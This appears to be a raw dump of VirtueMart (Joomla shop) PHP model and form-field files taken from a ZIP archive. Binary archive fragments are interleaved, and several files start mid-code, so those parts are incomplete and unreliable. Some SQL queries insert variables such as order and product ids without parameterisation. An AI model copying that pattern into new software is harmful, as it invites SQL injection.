$_userFieldsBT = $_userFieldsModel->getUserFields('account' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); foreach ($_userFieldsBT as $_fld) { $_name = $_fld->name; if(isset( $_orderData["BT_{$_name}"])){ $_userInfoData[$_name] = $_orderData["BT_{$_name}"]; } } $_userInfoData['virtuemart_order_id'] = $virtuemart_order_id; $_userInfoData['address_type'] = 'BT'; $order_userinfosTable = $this->getTable('order_userinfos'); $order_userinfosTable->load($virtuemart_order_id, 'virtuemart_order_id'," AND address_type='BT'"); if (!$order_userinfosTable->bindChecknStore($_userInfoData, true)){ vmError($order_userinfosTable->getError()); return false; } //ship to $_userFieldsST = $_userFieldsModel->getUserFields('account' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); $_userInfoData = array(); foreach ($_userFieldsST as $_fld) { $_name = $_fld->name; if(isset( $_orderData["ST_{$_name}"])){ $_userInfoData[$_name] = $_orderData["ST_{$_name}"]; } } $_userInfoData['virtuemart_order_id'] = $virtuemart_order_id; $_userInfoData['address_type'] = 'ST'; $order_userinfosTable = $this->getTable('order_userinfos'); $order_userinfosTable->load($virtuemart_order_id, 'virtuemart_order_id'," AND address_type='ST'"); if (!$order_userinfosTable->bindChecknStore($_userInfoData, true)){ vmError($order_userinfosTable->getError()); return false; } $orderModel = VmModel::getModel('orders'); $order = $orderModel->getOrder($virtuemart_order_id); $dispatcher = JDispatcher::getInstance(); if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } // Update Payment Method if($_orderData['old_virtuemart_paymentmethod_id'] != $_orderData['virtuemart_paymentmethod_id']) { $this->_db->setQuery( 'SELECT `payment_element` FROM `#__virtuemart_paymentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_paymentmethods`.`virtuemart_paymentmethod_id` = `#__virtuemart_orders`.`virtuemart_paymentmethod_id` AND `virtuemart_order_id` = ' . $virtuemart_order_id ); $paymentTable = '#__virtuemart_payment_plg_'. $this->_db->loadResult(); $this->_db->setQuery("DELETE from `". $paymentTable ."` WHERE `virtuemart_order_id` = " . $virtuemart_order_id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } else { JPluginHelper::importPlugin('vmpayment'); } } // Update Shipment Method if($_orderData['old_virtuemart_shipmentmethod_id'] != $_orderData['virtuemart_shipmentmethod_id']) { $this->_db->setQuery( 'SELECT `shipment_element` FROM `#__virtuemart_shipmentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_shipmentmethods`.`virtuemart_shipmentmethod_id` = `#__virtuemart_orders`.`virtuemart_shipmentmethod_id` AND `virtuemart_order_id` = ' . $virtuemart_order_id ); $shipmentTable = '#__virtuemart_shipment_plg_'. $this->_db->loadResult(); $this->_db->setQuery("DELETE from `". $shipmentTable ."` WHERE `virtuemart_order_id` = " . $virtuemart_order_id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } else { JPluginHelper::importPlugin('vmshipment'); } } // JPluginHelper::importPlugin('vmshipment'); // JPluginHelper::importPlugin('vmcustom'); if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $cart->virtuemart_paymentmethod_id = $_orderData['virtuemart_paymentmethod_id']; $cart->virtuemart_shipmentmethod_id = $_orderData['virtuemart_shipmentmethod_id']; $order['order_status'] = $order['details']['BT']->order_status; $order['customer_notified'] = 0; $order['comments'] = ''; $returnValues = $dispatcher->trigger('plgVmConfirmedOrder', array($cart, $order)); return true; } /** Create empty order head record from admin only * * @author Ondřej Spilka * @return ID of the newly created order */ public function CreateOrderHead() { // TODO // multivendor //usrid $usrid = 0; $_orderData = new stdClass(); $_orderData->virtuemart_order_id = null; $_orderData->virtuemart_user_id = 0; $_orderData->virtuemart_vendor_id = 1; //TODO $_orderData->order_total = 0; $_orderData->order_salesPrice = 0; $_orderData->order_billTaxAmount = 0; $_orderData->order_billDiscountAmount = 0; $_orderData->order_discountAmount = 0; $_orderData->order_subtotal = 0; $_orderData->order_tax = 0; $_orderData->order_shipment = 0; $_orderData->order_shipment_tax = 0; $_orderData->order_payment = 0; $_orderData->order_payment_tax = 0; $_orderData->order_discount = 0; $_orderData->order_status = 'P'; $_orderData->order_currency = $this->getVendorCurrencyId($_orderData->virtuemart_vendor_id); $_orderData->virtuemart_paymentmethod_id = JRequest::getInt('virtuemart_paymentmethod_id'); $_orderData->virtuemart_shipmentmethod_id = JRequest::getInt('virtuemart_shipmentmethod_id'); $_orderData->customer_note = ''; $_orderData->ip_address = $_SERVER['REMOTE_ADDR']; $_orderData->order_number =''; JPluginHelper::importPlugin('vmshopper'); $dispatcher = JDispatcher::getInstance(); $_orderData->order_number = $this->generateOrderNumber($usrid,4,$_orderData->virtuemart_vendor_id); $_orderData->order_pass = 'p_'.substr( md5((string)time().rand(1,1000).$_orderData->order_number ), 0, 5); $orderTable = $this->getTable('orders'); $orderTable -> bindChecknStore($_orderData); $errors = $orderTable->getErrors(); foreach($errors as $error){ vmError($error); } $db = JFactory::getDBO(); $_orderID = $db->insertid(); $_usr = JFactory::getUser(); if (!$this->_writeUserInfo($_orderID, $_usr, array())) { vmError($error); } $orderModel = VmModel::getModel('orders'); $order= $orderModel->getOrder($_orderID); $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('vmcustom'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $returnValues = $dispatcher->trigger('plgVmConfirmedOrder', array($cart, $order)); return $_orderID; } /** Rename Invoice (when an order is deleted) * * @author Valérie Isaksen * @param $order_id Id of the order * @return boolean true if deleted successful, false if there was a problem */ function renameInvoice($order_id ) { $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$order_id.'" '; $db->setQuery($q); $data = $db->loadAssoc(); if(!$data or empty($data['invoice_number']) ){ return true; } // rename invoice pdf file $invoice_prefix='vminvoice_'; $path = shopFunctions::getInvoicePath(VmConfig::get('forSale_path',0)); $invoice_name_src = $path.DS.$invoice_prefix.$data['invoice_number'].'.pdf'; if(!file_exists($invoice_name_src)){ // may be it was already deleted when changing order items $data['invoice_number'] = $data['invoice_number'].' not found.'; } else { $date = date("Ymd"); $data['invoice_number'] = $data['invoice_number'].'_'.$date; $invoice_name_dst = $path.DS.$data['invoice_number'].'.pdf'; if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if (!JFile::move($invoice_name_src, $invoice_name_dst)) { vmError ('Could not rename Invoice '.$invoice_name_src.'to '. $invoice_name_dst ); } } $table = $this->getTable('invoices'); $table->bindChecknStore($data); return true; } /** Delete Invoice when an item is updated * * @author Valérie Isaksen * @param $order_id Id of the order * @return boolean true if deleted successful, false if there was a problem */ function deleteInvoice($order_id ) { $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$order_id.'" '; $db->setQuery($q); $data = $db->loadAssoc(); if(!$data or empty($data['invoice_number']) ){ return true; } // rename invoice pdf file $invoice_prefix='vminvoice_'; $path = shopFunctions::getInvoicePath(VmConfig::get('forSale_path',0)); $invoice_name_src = $path.DS.$invoice_prefix.$data['invoice_number'].'.pdf'; if(!file_exists($invoice_name_src)){ // was already deleted by a previoous change return; } if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if (!JFile::delete($invoice_name_src )) { vmError ('Could not delete Invoice '.$invoice_name_src ); } } } // No closing tag PKs>\'com_virtuemart/models/fields/vendor.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); $model = VmModel::getModel('vendor'); $vendors = $model->getVendors(true, true, false); return JHTML::_('select.genericlist', $vendors, $this->name, 'class="inputbox" size="1"', 'virtuemart_vendor_id', 'vendor_name', $this->value, $this->id); } }PKs>\gE!!(com_virtuemart/models/fields/product.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); return JHTML::_('select.genericlist', $this->_getProducts(), $this->name, 'class="inputbox" ', 'value', 'text', $this->value, $this->id); } private function _getProducts() { if (!class_exists('VmModel')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmmodel.php'); $productModel = VmModel::getModel('Product'); $productModel->_noLimit = true; $products = $productModel->getProductListing(false, false, false, false, true,false); $productModel->_noLimit = false; $i = 0; $list = array(); foreach ($products as $product) { $list[$i]['value'] = $product->virtuemart_product_id; $list[$i]['text'] = $product->product_name. " (". $product->product_sku.")"; $i++; } return $list; } }PKs>\]"!(('com_virtuemart/models/fields/layout.phpnuW+Afieldname,0,-6);; $vmLayoutList =VirtueMartModelConfig::getLayoutList($view); $html = JHTML::_('Select.genericlist',$vmLayoutList, $this->name, 'size=1 width=200', 'value', 'text', array($this->value)); return $html; } }PKs>\ -com_virtuemart/models/fields/manufacturer.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); $model = VmModel::getModel('Manufacturer'); $manufacturers = $model->getManufacturers(true, true, false); return JHTML::_('select.genericlist', $manufacturers, $this->name, 'class="inputbox" size="1"', 'virtuemart_manufacturer_id', 'mf_name', $this->value, $this->id); } }PKs>\)&com_virtuemart/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\V'com_virtuemart/models/fields/index.htmlnuW+A PKs>\}܆)com_virtuemart/models/fields/category.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); VmConfig::loadJLang('com_virtuemart'); $categorylist = ShopFunctions::categoryListTree(array($this->value)); $html = '"; return $html; } }PKs>\hӪ,com_virtuemart/models/fields/orderstatus.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); $model = VmModel::getModel ('Orderstatus'); $orderStatus = $model->getOrderStatusList (); foreach ($orderStatus as $orderState) { $orderState->order_status_name = JText::_ ($orderState->order_status_name); } return JHTML::_ ('select.genericlist', $orderStatus, $this->name, 'class="inputbox" multiple="true" size="1"', 'order_status_code', 'order_status_name', $this->value, $this->id); } }PKs>\M')ii&com_virtuemart/models/customfields.phpnuW+AsetMainTable ('product_customfields'); } /** * Gets a single custom by virtuemart_customfield_id * * @param string $type * @param string $mime mime type of custom, use for exampel image * @return customobject */ function getCustomfield () { $this->data = $this->getTable ('product_customfields'); $this->data->load ($this->_id); return $this; } // ************************************************** // Custom FIELDS // function getProductCustomsChilds ($childs) { $data = array(); foreach ($childs as $child) { $query = 'SELECT C.* , field.* FROM `#__virtuemart_product_customfields` AS field LEFT JOIN `#__virtuemart_customs` AS C ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` WHERE `virtuemart_product_id` =' . (int)$child->virtuemart_product_id; $query .= ' and C.field_type = "C" '; $this->_db->setQuery ($query); $child->field = $this->_db->loadObject (); $customfield = new stdClass(); $customfield->custom_value = $child->virtuemart_product_id; $customfield->field_type = 'C'; $child->display = $this->displayProductCustomfieldFE ($child, $customfield); if ($child->field) { $data[] = $child; } } return $data; } public function getCustomParentTitle ($custom_parent_id) { $q = 'SELECT custom_title FROM `#__virtuemart_customs` WHERE virtuemart_custom_id =' . (int)$custom_parent_id; $this->_db->setQuery ($q); return $this->_db->loadResult (); } /** @return autorized Types of data **/ function getField_types () { return array('S' => 'COM_VIRTUEMART_CUSTOM_STRING', 'I' => 'COM_VIRTUEMART_CUSTOM_INT', 'P' => 'COM_VIRTUEMART_CUSTOM_PARENT', 'B' => 'COM_VIRTUEMART_CUSTOM_BOOL', 'D' => 'COM_VIRTUEMART_DATE', 'T' => 'COM_VIRTUEMART_TIME', 'M' => 'COM_VIRTUEMART_IMAGE', 'V' => 'COM_VIRTUEMART_CUSTOM_CART_VARIANT', 'A' => 'COM_VIRTUEMART_CHILD_GENERIC_VARIANT', 'X' => 'COM_VIRTUEMART_CUSTOM_EDITOR', 'Y' => 'COM_VIRTUEMART_CUSTOM_TEXTAREA', 'E' => 'COM_VIRTUEMART_CUSTOM_EXTENSION' ); // 'U'=>'COM_VIRTUEMART_CUSTOM_CART_USER_VARIANT', // 'C'=>'COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD', // 'G'=>'COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD_GROUP', // 'R'=>'COM_VIRTUEMART_RELATED_PRODUCT', // 'Z'=>'COM_VIRTUEMART_RELATED_CATEGORY', } static function setParameterableByFieldType(&$table,$type=0){ if($type===0) $type = $table->field_type; $varsToPush = self::getVarsToPush($type); if(!empty($varsToPush)){ $table->setParameterable('custom_param',$varsToPush,TRUE); } } static function bindParameterableByFieldType(&$table,$type=0){ if($type===0) $type = $table->field_type; $varsToPush = self::getVarsToPush($type); if(!empty($varsToPush)){ VmTable::bindParameterable($table,'custom_param',$varsToPush); } } static function getVarsToPush($type){ $varsToPush = 0; if($type=='A'){ $varsToPush = array( 'withParent' => array(0, 'int'), 'parentOrderable' => array(0, 'int') ); } return $varsToPush; } private $_hidden = array(); /** * Use this to adjust the hidden fields of the displaycustomHandler to your form * * @author Max Milbers * @param string $name for exampel view * @param string $value for exampel custom */ public function addHidden ($name, $value = '') { $this->_hidden[$name] = $value; } /** * Adds the hidden fields which are needed for the form in every case * * @author Max Milbers * OBSELTE ? */ private function addHiddenByType ($datas) { $this->addHidden ('virtuemart_custom_id', $datas->virtuemart_custom_id); $this->addHidden ('option', 'com_virtuemart'); } /** * Displays a possibility to select custom groups * * @author Max Milbers * @author Maik K�nnemann * @author Patrick Kohl */ public function displayCustomSelection () { $customslist = $this->getParentList (); if (isset($this->virtuemart_custom_id)) { $value = $this->virtuemart_custom_id; } else { $value = JRequest::getInt ('custom_parent_id', 0); } return VmHTML::row ('select', 'COM_VIRTUEMART_CUSTOM_PARENT', 'custom_parent_id', $customslist, $value); } /** * Retrieve a list of layouts from the default and chosen templates directory. * * We may use here the getCustoms function of the custom model or write something simular * * @author Max Milbers * @param name of the view * @return object List of flypage objects */ function getCustomsList ($publishedOnly = FALSE) { $vendorId = 1; // get custom parents $q = 'SELECT virtuemart_custom_id as value ,custom_title as text FROM `#__virtuemart_customs` where custom_parent_id=0 AND field_type <> "R" AND field_type <> "Z" '; if ($publishedOnly) { $q .= 'AND `published`=1'; } if ($ID = JRequest::getInt ('virtuemart_custom_id', 0)) { $q .= ' and `virtuemart_custom_id`!=' . (int)$ID; } //if (isset($this->virtuemart_custom_id)) $q.=' and virtuemart_custom_id !='.$this->virtuemart_custom_id; $this->_db->setQuery ($q); // $result = $this->_db->loadAssocList(); $result = $this->_db->loadObjectList (); $errMsg = $this->_db->getErrorMsg (); $errs = $this->_db->getErrors (); if (!empty($errMsg)) { $app = JFactory::getApplication (); $errNum = $this->_db->getErrorNum (); $app->enqueueMessage ('SQL-Error: ' . $errNum . ' ' . $errMsg); } if ($errs) { $app = JFactory::getApplication (); foreach ($errs as $err) { $app->enqueueMessage ($err); } } return $result; } /** * This displays a custom handler. * * @param string $html atttributes, Just for displaying the fullsized image */ public function displayCustomFields ($datas) { $identify = ''; // ':'.$this->virtuemart_custom_id; if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } if ($datas->field_type) { $this->addHidden ('field_type', $datas->field_type); } $this->addHiddenByType ($datas); //$html = '
      '.$datas->custom_title.'
      '; $html = ""; //$html = ' '; if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if (!Permissions::getInstance ()->check ('admin')) { $readonly = 'readonly'; } else { $readonly = ''; } // only input when not set else display if ($datas->field_type) { $html .= VmHTML::row ('value', 'COM_VIRTUEMART_CUSTOM_FIELD_TYPE', $datas->field_types[$datas->field_type]); } else { $html .= VmHTML::row ('select', 'COM_VIRTUEMART_CUSTOM_FIELD_TYPE', 'field_type', $this->getOptions ($datas->field_types), $datas->field_type, VmHTML::validate ('R')); } $html .= VmHTML::row ('input', 'COM_VIRTUEMART_TITLE', 'custom_title', $datas->custom_title, VmHTML::validate ('S')); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_SHOW_TITLE', 'show_title', $datas->show_title); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_PUBLISHED', 'published', $datas->published); $html .= VmHTML::row ('select', 'COM_VIRTUEMART_CUSTOM_PARENT', 'custom_parent_id', $this->getParentList ($datas->virtuemart_custom_id), $datas->custom_parent_id, ''); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_IS_CART_ATTRIBUTE', 'is_cart_attribute', $datas->is_cart_attribute); $html .= VmHTML::row ('input', 'COM_VIRTUEMART_DESCRIPTION', 'custom_field_desc', $datas->custom_field_desc); // change input by type $html .= VmHTML::row ('input', 'COM_VIRTUEMART_DEFAULT', 'custom_value', $datas->custom_value); $html .= VmHTML::row ('input', 'COM_VIRTUEMART_CUSTOM_TIP', 'custom_tip', $datas->custom_tip); $html .= VmHTML::row ('input', 'COM_VIRTUEMART_CUSTOM_LAYOUT_POS', 'layout_pos', $datas->layout_pos); //$html .= VmHTML::row('booleanlist','COM_VIRTUEMART_CUSTOM_PARENT','custom_parent_id',$this->getCustomsList(), $datas->custom_parent_id,''); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_ADMIN_ONLY', 'admin_only', $datas->admin_only); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_IS_LIST', 'is_list', $datas->is_list); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_IS_HIDDEN', 'is_hidden', $datas->is_hidden); // $html .= '
      '; removed $html .= VmHTML::inputHidden ($this->_hidden); return $html; } /** * child classes can add their own options and you can get them with this function * * @param array $optionsarray */ private function getOptions ($field_types) { $options = array(); foreach ($field_types as $optionName=> $langkey) { $options[] = JHTML::_ ('select.option', $optionName, vmText::_ ($langkey)); } return $options; } /** * Just for creating simpel rows * * @author Max Milbers * @param string $descr * @param string $name */ private function displayRow ($descr, $name, $readonly = '') { $html = ' ' . vmText::_ ($descr) . ' '; return $html; } /** * * Enter description here ... * * @param unknown_type $excludedId * @return unknown|multitype: */ function getParentList ($excludedId = 0) { $this->_db->setQuery (' SELECT virtuemart_custom_id as value,custom_title as text FROM `#__virtuemart_customs` WHERE `field_type` ="P" and virtuemart_custom_id!=' . $excludedId); if ($results = $this->_db->loadObjectList ()) { return $results; } else { return array(); } } /** * * Enter description here ... */ function getProductChildCustomRelation () { $this->_db->setQuery (' SELECT virtuemart_custom_id as value,custom_title as text FROM `#__virtuemart_customs` WHERE `field_type` ="C"'); if ($results = $this->_db->loadObjectList ()) { return $results; } else { return array(); } } /** * * Enter description here ... * * @param unknown_type $product_id * @return unknown */ function getProductChildCustom ($product_id) { $this->_db->setQuery (' SELECT `virtuemart_custom_id`,`custom_value` FROM `#__virtuemart_product_customfields` WHERE `virtuemart_product_id` =' . (int)$product_id); if ($childcustom = $this->_db->loadObject ()) { return $childcustom; } else { $childcustom->virtuemart_custom_id = 0; $childcustom->custom_value = ''; return $childcustom; } } /** * * Enter description here ... * * @param unknown_type $product_id * @return string|Ambigous */ function getProductParentRelation ($product_id) { $this->_db->setQuery (' SELECT `custom_value` FROM `#__virtuemart_product_customfields` WHERE `virtuemart_product_id` =' . (int)$product_id); if ($childcustom = $this->_db->loadResult ()) { return '(' . $childcustom . ')'; } else { return vmText::_ ('COM_VIRTUEMART_CUSTOM_NO_PARENT_RELATION'); } } /** * AUthor Kohl Patrick * Load all custom fields for a Single product * return custom fields value and definition */ public function getproductCustomslist ($virtuemart_product_id, $parent_id = NULL) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_element`, `custom_jplugin_id`, `custom_params`, `custom_parent_id` , `admin_only` , `custom_title` , `show_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_cart_attribute` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`,field.`custom_param`,field.`custom_price`,field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . $virtuemart_product_id . ' order by field.`ordering` ASC'; $this->_db->setQuery ($query); $productCustoms = $this->_db->loadObjectList (); //if (!$productCustoms ) return array(); if (!$productCustoms) { return; } $row = 0; foreach ($productCustoms as $field) { if ($parent_id) { $field->custom_value = ""; $field->virtuemart_customfield_id = ""; $field->custom_param = NULL; $virtuemart_product_id = $parent_id; } if ($field->field_type == 'E') { JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $retValue = $dispatcher->trigger ('plgVmDeclarePluginParams', array('custom', $field->custom_element, $field->custom_jplugin_id, $field)); }else { VirtueMartModelCustomfields::bindParameterableByFieldType($field); } //vmdebug('fields',$field); $field->display = $this->displayProductCustomfieldBE ($field, $virtuemart_product_id, $row); //custom_param without S !!! $row++; } return $productCustoms; } /* Save and delete from database * all product custom_fields and xref @ var $table : the xref table(eg. product,category ...) @array $data : array of customfields @int $id : The concerned id (eg. product_id) */ public function storeProductCustomfields($table,$datas, $id) { //vmdebug('storeProductCustomfields',$datas); JRequest::checkToken() or jexit( 'Invalid Token, in store customfields'); //Sanitize id $id = (int)$id; //Table whitelist $tableWhiteList = array('product','category','manufacturer'); if(!in_array($table,$tableWhiteList)) return false; // Get old IDS $this->_db->setQuery( 'SELECT `virtuemart_customfield_id` FROM `#__virtuemart_'.$table.'_customfields` as `PC` WHERE `PC`.virtuemart_'.$table.'_id ='.$id ); $old_customfield_ids = $this->_db->loadResultArray(); if (isset ( $datas['custom_param'] )) $params = true ; else $params = false ; if (array_key_exists('field', $datas)) { //vmdebug('datas save',$datas); $customfieldIds = array(); foreach($datas['field'] as $key => $fields){ $fields['virtuemart_'.$table.'_id'] =$id; $tableCustomfields = $this->getTable($table.'_customfields'); $tableCustomfields->setPrimaryKey('virtuemart_product_id'); if (!empty($datas['custom_param'][$key]) and !isset($datas['clone']) ) { if (array_key_exists( $key,$datas['custom_param'])) { $fields['custom_param'] = json_encode($datas['custom_param'][$key]); } } VirtueMartModelCustomfields::setParameterableByFieldType($tableCustomfields,$fields['field_type']); if(!isset($datas['clone'])){ VirtueMartModelCustomfields::bindParameterableByFieldType($tableCustomfields,$fields['field_type']); } $tableCustomfields->bindChecknStore($fields); $errors = $tableCustomfields->getErrors(); foreach($errors as $error){ vmError($error); } $key = array_search($fields['virtuemart_customfield_id'], $old_customfield_ids ); if ($key !== false ) unset( $old_customfield_ids[ $key ] ); // vmdebug('datas clone',$old_customfield_ids,$fields); } } if ( count($old_customfield_ids) ) { // delete old unused Customfields $this->_db->setQuery( 'DELETE FROM `#__virtuemart_'.$table.'_customfields` WHERE `virtuemart_customfield_id` in ("'.implode('","', $old_customfield_ids ).'") '); $this->_db->query(); } JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); if (isset($datas['plugin_param']) and is_array($datas['plugin_param'])) { foreach ($datas['plugin_param'] as $key => $plugin_param ) { $dispatcher->trigger('plgVmOnStoreProduct', array($datas, $plugin_param )); } } } /** * Formatting admin display by roles * input Types for product only ! * $field->is_cart_attribute if can have a price */ public function displayProductCustomfieldBE ($field, $product_id, $row) { $field->custom_value = empty($field->custom_value) ? $field->value : $field->custom_value; if ($field->is_cart_attribute) { if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); if(!class_exists('VirtueMartModelCurrency')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'currency.php'); $vendor_model = VmModel::getModel('vendor'); $vendor_model->setId(1); $vendor = $vendor_model->getVendor(); $currency_model = VmModel::getModel('currency'); $vendor_currency = $currency_model->getCurrency($vendor->vendor_currency); $priceInput = ' '.$vendor_currency->currency_symbol.""; } else { $priceInput = ' '; } if ($field->is_list) { $options = array(); $values = explode (';', $field->value); foreach ($values as $key => $val) { $options[] = array('value' => $val, 'text' => $val); } $currentValue = $field->custom_value; return JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', null, 'value', 'text', $currentValue) . '' . $priceInput; } else { switch ($field->field_type) { case 'A': //vmdebug('displayProductCustomfieldBE $field',$field); if(!isset($field->withParent)) $field->withParent = 0; if(!isset($field->parentOrderable)) $field->parentOrderable = 0; //vmdebug('displayProductCustomfieldFE',$field); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); $html = vmText::_('COM_VIRTUEMART_CUSTOM_WP').VmHTML::checkbox('field[' . $row . '][withParent]',$field->withParent,1,0,'').'
      '; $html .= vmText::_('COM_VIRTUEMART_CUSTOM_PO').VmHTML::checkbox('field[' . $row . '][parentOrderable]',$field->parentOrderable,1,0,''); $options = array(); // $options[] = array( 'value' => 'product_name' ,'text' =>vmText::_('COM_VIRTUEMART_PRODUCT_FORM_NAME')); Is anyway displayed there $options[] = array('value' => 'product_sku', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_SKU')); $options[] = array('value' => 'slug', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_ALIAS')); $options[] = array('value' => 'product_length', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_LENGTH')); $options[] = array('value' => 'product_width', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_WIDTH')); $options[] = array('value' => 'product_height', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_HEIGHT')); $options[] = array('value' => 'product_weight', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_WEIGHT')); $html .= JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', '', 'value', 'text', $field->custom_value) . '' . $priceInput; return $html; // return 'Automatic Childvariant creation (later you can choose here attributes to show, now product name) '; break; // variants case 'V': return '' . $priceInput; break; /* * Stockable (group of) child variants * Special type setted by the plugin */ case 'G': return; break; /*Extended by plugin*/ case 'E': $html = ''; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } JPluginHelper::importPlugin ('vmcustom', $field->custom_element); $dispatcher = JDispatcher::getInstance (); $retValue = ''; $dispatcher->trigger ('plgVmOnProductEdit', array($field, $product_id, &$row, &$retValue)); return $html . $retValue . ''. $priceInput; break; case 'D': return vmJsApi::jDate ($field->custom_value, 'field[' . $row . '][custom_value]', 'field_' . $row . '_customvalue') .''. $priceInput; break; case 'T': //TODO Patrick return '' . $priceInput; break; /* string or integer */ case 'S': case 'I': return '' . $priceInput; break; //'X'=>'COM_VIRTUEMART_CUSTOM_EDITOR', case 'X': // Not sure why this block is needed to get it to work when editing the customfield (the subsequent block works fine when creating it, ie. in JS) $document=& JFactory::getDocument(); if (get_class($document) == 'JDocumentHTML') { $editor =& JFactory::getEditor(); return $editor->display('field['.$row.'][custom_value]',$field->custom_value, '550', '400', '60', '20', false).''; } return ' ' . $priceInput; //return ''.$priceInput; break; //'Y'=>'COM_VIRTUEMART_CUSTOM_TEXTAREA' case 'Y': return '' . $priceInput; //return ''.$priceInput; break; case 'editorta': jimport ('joomla.html.editor'); $editor = JFactory::getEditor (); //TODO This is wrong! $_return['fields'][$_fld->name]['formcode'] = $editor->display ($_prefix . $_fld->name, $_return['fields'][$_fld->name]['value'], 300, 150, $_fld->cols, $_fld->rows); break; /* bool */ case 'B': return JHTML::_ ('select.booleanlist', 'field[' . $row . '][custom_value]', 'class="inputbox"', $field->custom_value) . '' . $priceInput; break; /* parent */ case 'P': return $field->custom_value . ''; break; /* related category*/ case 'Z': if (!$field->custom_value) { return ''; } // special case it's category ID ! $q = 'SELECT * FROM `#__virtuemart_categories_' . VMLANG . '` JOIN `#__virtuemart_categories` AS p using (`virtuemart_category_id`) WHERE `virtuemart_category_id`= "' . (int)$field->custom_value . '" '; $this->_db->setQuery ($q); //echo $this->_db->_sql; if ($category = $this->_db->loadObject ()) { $q = 'SELECT `virtuemart_media_id` FROM `#__virtuemart_category_medias` WHERE `virtuemart_category_id`= "' . (int)$field->custom_value . '" '; $this->_db->setQuery ($q); $thumb = ''; if ($media_id = $this->_db->loadResult ()) { $thumb = $this->displayCustomMedia ($media_id,'category'); } $display = ''; $display .= JHTML::link (JRoute::_ ('index.php?option=com_virtuemart&view=category&task=edit&virtuemart_category_id=' . (int)$field->custom_value,FALSE), ''.$thumb.'' . $category->category_name, array('title' => $category->category_name)).''; return $display; } else { return 'no result'; } /* related product*/ case 'R': if (!$field->custom_value) { return ''; } $pModel = VmModel::getModel('product'); $related = $pModel->getProduct((int)$field->custom_value,FALSE,FALSE,FALSE,1,FALSE); $thumb =''; if (!empty($related->virtuemart_media_id[0])) { $thumb = $this->displayCustomMedia ($related->virtuemart_media_id[0]).' '; } else { $thumb = $this->displayCustomMedia (0).' '; } $display = ''; $display .= JHTML::link (juri::root().'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $related->virtuemart_product_id . '&virtuemart_category_id=' . $related->virtuemart_category_id, ''.$thumb.''. $related->product_name, array('title' => $related->product_name,'target'=>'blank')).''; return $display; break; /* image */ case 'M': if (empty($product)) { $vendorId = 1; 